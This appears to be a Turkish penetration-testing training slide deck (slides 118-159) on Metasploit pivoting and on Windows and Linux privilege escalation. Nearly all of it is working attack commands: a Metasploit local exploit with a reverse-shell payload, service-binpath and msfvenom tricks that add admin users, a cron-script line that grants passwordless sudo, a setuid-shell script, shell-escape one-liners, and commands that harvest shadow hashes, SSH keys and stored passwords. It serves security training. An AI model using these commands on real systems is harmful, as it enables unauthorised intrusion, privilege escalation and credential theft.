  • 118. Metasploit ile Pivoting (1. Yöntem) meterpreter> background [auxilary socks proxy modülümüzü kullanmak için mevcut oturumumuzu arka plana atmalıyız] msfconsole> sessions -l [aktif meterpreter oturumlarınızı listelemek isterseniz, bu örnekte hedef sisteme bağlı olunan oturum numarasının "1" olduğu msfconsole> route add 10.1.0.0 255.255.255.0 1 [meterpreter oturumunun içindeyken yaptığımız tanımdan sonra buna gerek olmaması lazım, ama route print komutuyla bir kontrol ettikten sonra route tanımını göremiyorsanız bu komutu çalıştırmanız gerekebilir] msfconsole> route print [bu komutla eklediğiniz route konfigürasyonunda herhangi bir hata olup olmadığını inceleyebilirsiniz] msfconsole> use auxiliary/server/socks4a msfconsole> show options [birşeyi değiştirmemiz gerekmez, ancak proxy nin çalışacağı portun 1080 olduğunu hatırlamak için opsiyonlara göz atmakta fayda var] msfconsole> run [socks proxy arka planda çalışmaya başlar] PIVOTING SOCKS proxy servisini başlatma1
  • 119. Metasploit ile Pivoting (1. Yöntem) /etc/proxychains.conf dosyası içinde aşağıdaki değişiklik yapılır: socks4 127.0.0.1 1080 Bu aşamadan sonra proxychains uygulaması ile sistem üzerindeki uygulamaları kullanabiliriz: proxychains nmap -sT -Pn 10.1.0.155 [burada tarama yöntemi olarak TCP connect scan in kullanılmış olmasına dikkat ediniz. Bu örnekte hedef IP adresimiz 10.1.0.155 olarak seçilmiştir. -Pn opsiyonu özellikle önemli çünkü proxy bağlantısı üzerinden ICMP ve UDP paketlerini taşınamaz, sadece TCP paketleri iletilmelidir.] proxychains nmap -sT -Pn -p- 10.1.0.155 PIVOTING Proxychains ayarı2 Proxychains kullanarak nmap ile port tarama3
  • 120. Metasploit ile Pivoting (2. Yöntem) msfconsole> use auxiliary/scanner/portscan/tcp msfconsole> show options [opsiyonlardan port aralığı ve IP adreslerini değiştirmek isteyeceksiniz] msfconsole> set ports 1-65535 msfconsole> set rhosts 10.1.0.155 msfconsole> run PIVOTING Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)1
  • 121. Metasploit ile Pivoting (2. Yöntem) msfconsole> sessions -i 1 [Meterpreter oturumunuza geçmek için, burada oturum numaranızın "1" olduğu varsayılmıştır] meterpreter> portfwd -h [komut hakkında yardım almak için. Meterpreter komutları hakkında yardım almak için help komutunu çalıştırabilirsiniz] meterpreter> portfwd add -l 8000 -p 80 -r 10.1.0.155 Bu adımdan sonra browser'ınızda şu URL'i yazdığınızda hedef HTTP servisine erişirsiniz: http://localhost:8000/ PIVOTING Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)2 Lokal port üzerinden uzaktaki sisteme erişim3
  • 123. İÇERİK • Jenerik Yetki Yükseltme Metodu • Linux Yetki Yükseltme Yöntemleri • Windows Yetki Yükseltme Yöntemleri
  • 124. JENERİK YETKİ YÜKSELTME METODU 1. Kullanıcı bilgilerimiz ve yetki seviyemiz 2. Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti 3. Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi 4. Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi 5. Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması
  • 125. JENERİK YETKİ YÜKSELTME METODU 1. Mevcut kullanıcımızın kim olduğu ve bu kullanıcının sistem üzerindeki haklarının anlaşılması (mevcut kullanıcımız sistem yöneticisi olmasa da sistem yöneticisi komutlarını çalıştırma hakları bulunabilir, diğer kullanıcılar hedef alınabilir) 2. Sistem üzerinde lokal yetki yükseltme imkanı verebilecek açıklıklarını kapatan işletim sistemi yamalarının uygulanıp uygulanmadıklarının incelenmesi 3. Sistem servisleri, zamanlı işler ve yüksek yetkili uygulamaların tespiti, bunların hangi kullanıcı hakları ile çalıştıklarının incelenmesi, yetki yükseltme açıklığı barındırıp barındırmadıklarının, konfigürasyon zayıflıklarının incelenmesi 4. Uzaktan erişilemeyen ancak lokal olarak erişilebilen proses ve ağ servislerinin tespiti, bunlarda bulunabilecek açıklıkların veya bunların konfigürasyonlarındaki güvensiz ayarların incelenmesi 5. (Mevcut kullanıcı hakları ile erişebildiklerimiz için) Sistem üzerindeki diğer kullanıcı home dizinlerinin, sistemin niteliğine uygun olarak belli sistem dosyalarının / veritabanlarının (ör: registry) diğer kullanıcı hesaplarına geçiş imkanı sağlayabilecek erişim bilgileri, v.b. bilgileri barındırıp barındırmadıklarının incelenmesi amacıyla gözden geçirilmesi
  • 126. JENERİK YETKİ YÜKSELTME METODU ÖNEMLİ • Yetki yükseltme çalışmalarının önemli bölümü ve ilk adımı bilgi toplama (enumeration) adımıdır. • Ancak bilgi toplama tek başına bir işe yaramaz, edindiğiniz bilgileri nasıl kullanacağınızı da bilmeniz gereklidir.
  • 127. WINDOWS YETKİ YÜKSELTME Kullanıcı bilgilerimiz ve yetki seviyemiz Domain adı (veya makine adı) ve kullanıcı adımız C:> whoami Kullanıcımızın üye olduğu gruplar C:> whoami /groups Sistem üzerindeki kullanıcılar ve kullanıcı grupları ile Administrators grubuna üye kullanıcıların listeleri C:> net users C:> net localgroup C:> net localgroup Administrators Metasploit post exploitation modülünü kullanarak kullanıcımızın hakları ile ilgili enumeration meterpreter> run post/windows/gather/win_privs
  • 128. WINDOWS YETKİ YÜKSELTME Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti Sistem versiyon ve yama bilgilerini çekmek için C:> systeminfo Exploit suggester script'ini kullanarak inceleme yapmak için shell> systeminfo > C:windowstempsysteminfo.txt meterpreter> download C:windowstempsysteminfo.txt # ./windows-exploit-suggester.py --update # pip install xlrd # ./windows-exploit-suggester.py -i systeminfo.txt -d 2017-06-27-mssb.xls > winexploits.txt # grep -i version winexploits.txt # grep -i priv winexploits.txt Mevcut bir meterpreter oturumu içinde local exploit araştırma meterpreter> run post/multi/recon/local_exploit_suggester
  • 129. WINDOWS YETKİ YÜKSELTME Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti [SALDIRI ÖRNEĞİ – Metasploit Local Exploit] msf > use exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) > set LHOST 192.168.1.100 LHOST => 192.168.1.100 msf exploit(ms14_058_track_popup_menu) > set DisablePayloadHandler true DisablePayloadHandler => true msf exploit(ms14_058_track_popup_menu) > set LPORT 28746 LPORT => 28746 msf exploit(ms14_058_track_popup_menu) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(ms14_058_track_popup_menu) > set TARGET 1 TARGET => 1 msf exploit(ms14_058_track_popup_menu) > set SESSION 3 SESSION => 3 msf exploit(ms14_058_track_popup_menu) > set ExitOnSession false ExitOnSession => false msf exploit(ms14_058_track_popup_menu) > exploit -j
  • 130. WINDOWS YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi Belli bir servis konfigürasyonu hakkında bilgi elde etmek için C:> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde servis adı görülür] C:> sc qc serviceadi Bu servisin konfigürasyon değişiklik haklarını görmek için C:> sc sdshow serviceadi Accesschk aracı ile sıradan kullanıcıların servisler üzerindeki haklarının sorgulanması accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv "Users" * /accepteula accesschk.exe -uwcqv "Everyone" * /accepteula Not: Bu açıklık Windows XP SP 0 ve 1'den sonra öntanımlı olarak bulunmamaktadır.
  • 131. WINDOWS YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi [SALDIRI ÖRNEĞİ] Writable servislerin tespit edilmesi halinde yapılması gereken işlem (upnphost ve ssdpsrv servislerindeki bu açıklık Windows XP SP 0 ve 1 için geçerlidir) sc config upnphost binpath= "net user btr1 Password1 /add" sc stop upnphost sc start upnphost sc config upnphost binpath= "net localgroup Administrators btr1 /add" sc stop upnphost sc start upnphost Kullanıcı ekleme işini yapan bir exe üretme # msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f exe > adduser.exe Payload servis tarafından çalıştırıldıktan sonra # rdesktop -u btr1 10.11.1.13 Terminal erişim imkanımız yoksa farklı bir payload'u admin olarak çalıştırmak için C:> runas /user:btr1Password1 "C:UsersBTR- 1AppDataLocalTemppayload.exe"
  • 132. WINDOWS YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi (devamı) Tüm servisleri listelemek ve daha sonra belli bir servisin çalıştırılabilir dosya ayarını görmek için C:> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde servis adı görülür] C:> sc qc serviceadi [servis ile ilgili bilgiler sorgulanır, BINARY_PATH_NAME bölümünde exe yolu görülür] Bir dizin ve dosya üzerindeki erişim izinlerini görmek için C:> accesschk.exe -dqv "C:Python27" /accepteula C:> accesschk.exe -qv filename.txt /accepteula
  • 133. WINDOWS YETKİ YÜKSELTME Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi Sistem üzerinde aktif ağ servislerinin görüntülenmesi için (local admin haklarına sahip değilsek servisin arkasında çalışan uygulama adını göremeyiz) C:> netstat -anob [o – process id’sini, b – binary dosyayı gösterir] Local admin hakkına sahip olmadığımızda ağ servislerinin arkasında çalışan binary görüntülenmeyecektir. Bunun için process id’sinden proses uygulama adını görmek için aşağıdaki komutu kullanabiliriz. C:> tasklist /fi "pid eq 1064" Sistem üzerinde çalışan tüm proses’lerin listesi ve varsa bu proses’lerden bir Windows servisi ile ilişkili olanlarını listelemek için C:> tasklist /SVC Proses’lerin hangi kullanıcı hakları ile çalıştıklarını da incelemek için C:> tasklist /V
  • 134. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması Parola barındıran dosyalar Sonraki sorgularda zaman kaybını azaltmak için dosya listesinin oluşturulması C:> dir /a/s/b > dosyalistesi.txt Daha sonra aşağıdaki komutlarla bu dosya içinde Administrator kullanıcı parolası barındırma ihtimali bulunan dosya isimlerini arayabiliriz. C:> type dosyalistesi.txt | findstr /I unattend.xml C:> type dosyalistesi.txt | findstr /I unattend.txt C:> type dosyalistesi.txt | findstr /I sysprep.inf C:> type dosyalistesi.txt | findstr /I sysprep.xml
  • 135. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Administrator hakları ile kurulum dosyası çalıştırma yetkisi C:> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated C:> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
  • 136. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması [SALDIRI ÖRNEĞİ] Administrator hakları ile kurulum dosyası çalıştırma yetkisinin bulunması halinde msfvenom ile bir “msi” payload'u oluşturarak local Administrators grubuna bir kullanıcı ekleyebiliriz: # msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f -f msi-nouac -o adduser.msi C:> msiexec /quiet /qn /i C:UsersBTR-1AppDataLocalTempadduser.msi
  • 137. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Öntanımlı kullanıcı adı ve parola barındıran registry kayıtları reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v DefaultPassword 2> nul reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v DefaultUsername 2> nul reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v DefaultDomainname 2> nul Parola bulunabilecek diğer registry kayıtları reg query HKLMSOFTWARERealVNCvncserver /v Password 2> NUL reg query HKLMSoftwareTightVNCServer /v Password 2> NUL
  • 138. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Daha jenerik biçimde içinde “password” kelimesi geçen tüm registry kayıtları aşağıdaki komutlarla araştırılabilir: reg query HKLM /k /f password /t REG_SZ /s reg query HKCU /k /f password /t REG_SZ /s
  • 139. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Tırnak ile kapatılmamış servis çalıştırılabilir dosya yolu C:Program Filessub dirprogram name.exe Windows işletim sistemi bu çalıştırılabilir kodu çalıştırmak için şu sırada dosya arayacaktır: C:program.exe filessub dirprogram name C:program filessub.exe dirprogram name C:program filessub dirprogram.exe name Bir dizinin erişim haklarını incelemek için: C:> accesschk.exe -dqv "C:program filessub dir " /accepteula
  • 140. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Dosya adı ve içerik araştırma (örnek komutlar) C:> type dosyalistesi.txt | findstr /I .*ssh.*[.]ini$ C:> type dosyalistesi.txt | findstr /I .*ultravnc[.]ini$ C:> type dosyalistesi.txt | findstr /I .*vnc[.]ini$ C:> findstr /si "password=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul C:> findstr /si "passwd=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul C:> findstr /si "pass=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul C:> findstr /si "pwd=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul ...
  • 141. LINUX YETKİ YÜKSELTME Kullanıcı bilgilerimiz ve yetki seviyemiz Kullanıcı adımız, kullanıcı ve grup id'lerimiz whoami 2>/dev/null id 2>/dev/null "sudoers" dosyası erişim hakları ve görebiliyorsak içeriği ls -al /etc/sudoers 2>/dev/null cat /etc/sudoers 2>/dev/null Kullanıcımızın sudo hakları sudo -l -n 2>/dev/null Tüm kullanıcılar ve gruplar ile ilgili bilgiler cat /etc/passwd 2>/dev/null cat /etc/group 2>/dev/null
  • 142. LINUX YETKİ YÜKSELTME Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti Linux kernel, işlemci ve işletim sistemi versiyonlarını inceleme uname -a 2>/dev/null cat /proc/version 2>/dev/null lscpu 2>/dev/null cat /etc/*-release Yetki yükseltme açıklığına sahip olabilecek uygulama ve sunucu versiyonlarını inceleme sudo -V | grep version 2>/dev/null mysql --version 2>/dev/null Mount edilmiş file system'ler mount 2>/dev/null
  • 143. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi Cron job’ların incelenmesi “other” tarafından yazılabilir cron scriptleri ve içerikleri find /etc/cron* -perm -0002 -exec ls -la {} ; -exec cat {} 2>/dev/null ; /etc/crontab dosyası içeriği cat /etc/crontab 2>/dev/null Varsa root ve diğer kullanıcıların crontab dosyaları listesi ls -laR /var/spool/cron 2>/dev/null Varsa root ve diğer kullanıcıların crontab dosyaları içerikleri find /var/spool/cron/ -type f -exec tail -n +1 {} + 2>/dev/null Varsa /etc/cron.d dizininde bulunan dosyaların listesi ls -laR /etc/cron.d 2>/dev/null ...
  • 144. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi (devamı) Setuid dosyaların incelenmesi Sahibi “root” olan other tarafından yazılabilir “setuid” dosyalar find / -uid 0 -perm -4002 -type f -exec ls -al {} ; 2>/dev/null “other” tarafından yazılabilir tüm “setuid” dosyalar find / -perm -4002 -type f -exec ls -al {} ; 2>/dev/null Tüm “setuid” dosyalar find / -perm -4000 -type f -exec ls -al {} ; 2>/dev/null | tee setuid- files-enum.txt Benzer biçimde setgid dosyalar da incelenmelidir.
  • 145. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi [SALDIRI ÖRNEĞİ] “root” hakları ile çalışan bir cron script’ine veya setuid bit’i işaretli bir script’e müdahale edebiliyorsak aşağıdaki satırları içine yerleştirebiliriz: echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /script.sh Değişiklik yaptığımız script çalışıp da sudoers dosyasında yukarıda görülen değişikliği yaptıktan sonra şu komutu çalıştırarak root hakları ile shell alabiliriz: sudo /bin/bash
  • 146. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi [SALDIRI ÖRNEĞİ] Aşağıda bir Python script’i ile “s” bit’i işaretli bir shell oluşturma yöntemini görebilirsiniz: #!/usr/bin/env python import os import sys try: os.system('cp /bin/sh /tmp/sh && chmod 4777 /tmp/sh && /tmp/sh') except: sys.exit() Çeşitli diller ve araçlar (bash, perl, python, php, java, netcat) kullanılarak reverse shell alma imkanı sağlayabileceğimiz diğer yöntemler için aşağıdaki link’ten faydalanabiliriz: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  • 147. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi (devamı) Shell escape imkanı veren uygulamaların incelenmesi Bazı uygulamaların içinden komut satırı komutları çalıştırmak veya bir shell almak mümkündür. Eğer bu uygulamaları sudo ile çalıştırabilirsek veya bu uygulamaların “s” bit’leri işaretli ise, bu uygulamaların içinden root hakları ile shell başlatabiliriz. Bu tür uygulamaları tespit etmek için aşağıdaki komutu çalıştırabiliriz (setuid-files- enum.txt dosyası yukarıdaki tüm “s” bitli dosyaları belirleyen komut neticesinde oluşmuş olmalıdır) cat setuid-files-enum.txt 2>/dev/null | grep -i -E 'vi|awk|perl|find|nmap|man|more|less|tcpdump|bash|sh$|vim|nc$|netcat|python |ruby|lua|irb' | grep -v -E 'chsh|device'
  • 148. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi [SALDIRI ÖRNEĞİ] Shell escape imkanı veren komut örnekleri: awk awk 'BEGIN {system("/bin/bash")}' nmap --interactive nmap echo "os.execute('/bin/sh')" > exploit.nse sudo nmap --script=exploit.nse perl perl -e 'exec "/bin/bash";' vi, vim :!bash vi, vim :set shell=/bin/bash :shell man, more, less !bash find find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
  • 149. LINUX YETKİ YÜKSELTME Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi Loopback arayüzünden erişilebilen TCP ve UDP ağ servislerini incelemek için (elbette yetki yükseltebilmek için açıklık barındıran bir servisin root hakları ile çalışması gerekir) netstat -antp netstat -anup “p” opsiyonu root hakkına sahipsek servisin arkasındaki proses id’si ve adını gösterecektir, dolayısıyla sıradan bir kullanıcıysak aslında bir işe yaramayacak. root kullanıcısı olarak calışan prosesler ps aux | grep root Çalışan proseslerin imajları ve bunlara erişim hakları ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'
  • 150. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması Parola hash’lerini ele geçirmek için shadow dosyası veya yedeklerine erişmeye çalışmak cat /etc/shadow 2>/dev/null grep -i -E 'shadow' dirlist-enum.txt | xargs ls -al 2>/dev/null (Öncesinde dirlist-enum.txt dosyasının oluşturulduğu varsayılmıştır)
  • 151. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Home dizinleri ve içerikleri /root/ dizini altındaki dosyalar ve erişim hakları ls -ahlR /root/ 2>/dev/null /home/ dizini altındaki dosyalar ve erişim hakları ls -ahlR /home/ 2>/dev/null Eğer home dizinleri /usr/ dizini altında ise buradaki dosyalar ve erişim hakları ls -ahlR /usr/home/ 2>/dev/null /home/ dizini altındaki okunabilir dosyaların listesi find /home/ -perm -4 -type f -exec ls -al {} ; 2>/dev/null
  • 152. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) History dosyaları erişim hakları ve içerikleri ls -la /home/*/.*_history 2>/dev/null ls -la /root/.*_history 2>/dev/null cat ~/.*_history 2>/dev/null cat /root/.*_history 2>/dev/null cat /home/*/.*_history 2>/dev/null SSH anahtar ve anahtar dizinlerinin listesi find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null
  • 153. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması [SALDIRI ÖRNEĞİ] ssh servisine parola ile bağlanma "ssh -l $user $host" veya "ssh $user@$host" ssh servisine farklı bir port'tan bağlanma ssh $user@$host -p $port ssh servisine private key ile bağlanma ssh -i /path/to/id_rsa $user@$host ssh -i /path/to/id_dsa $user@$host
  • 154. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Mysql erişimi(mysql root’u ile sistem root’u farklıdır) mysqladmin -uroot -proot version mysqladmin -uroot version Mysql erişim bilgilerini içerebilecek konfigürasyon dosya içeriğinin incelenmesi cat /etc/mysql/my.cnf 2>/dev/null cat /etc/my.cnf 2>/dev/null
  • 155. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması [SALDIRI ÖRNEĞİ] MySQL UDF (User Defined Function) Fonksiyonalitesi ile Yetki Yükseltme Saldırısı Windows örneği http://blog.btrisk.com/2017/01/mysql-udf-fonksiyonalitesi-ile-yetki- yukseltme.html Linux örneği https://www.exploit-db.com/exploits/1518/
  • 156. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Web uygulama dizinlerı ve dosyaların listesi - ekleme yapılabilir ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ 2>/dev/null ls -alhR /opt/lampp/htdocs/ 2>/dev/null Mail içerikleri cat /var/mail/root 2>/dev/null cat /var/spool/mail/root 2>/dev/null
  • 157. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Mount konfigürasyonu (mount edilmemiş dosya sistemleri olabilir mi?) cat /etc/fstab fstab içinde kullanıcı erişim bilgileri arama cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*username=/,"");sub(/,.*/,"")}1'| xargs -r echo username:; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*password=/,"");sub(/,.*/,"")}1'| xargs -r echo password:; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*domain=/,"");sub(/,.*/,"")}1'| xargs -r echo domain: fstab içinde credentials dosya referansı arama cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*credentials=/,"");sub(/,.*/,"")}1'| xargs -I{} sh -c 'ls -la {}; cat {}'
  • 158. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Dosya adı araştırma (örnek komutlar) find / > dirlist-enum.txt 2>/dev/null grep -i -E 'ini$' dirlist-enum.txt > ini-files-enum.txt grep -i -E 'conf$|config$|cnf$' dirlist-enum.txt > conf-files-enum.txt grep -i -E 'backup$|bck$|bak$|.old.*$' dirlist-enum.txt > backup-files- enum.txt
  • 159. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Dosya içeriklerinde ilginç veriler aranması (örnek komutlar) ini dosyaları içinde geçen password ve username satırları cat ini-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password =|user =|username =|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_d b' 2>/dev/null conf dosyaları içinde geçen password ve username satırları cat conf-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password =|user =|username =|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_d b' 2>/dev/null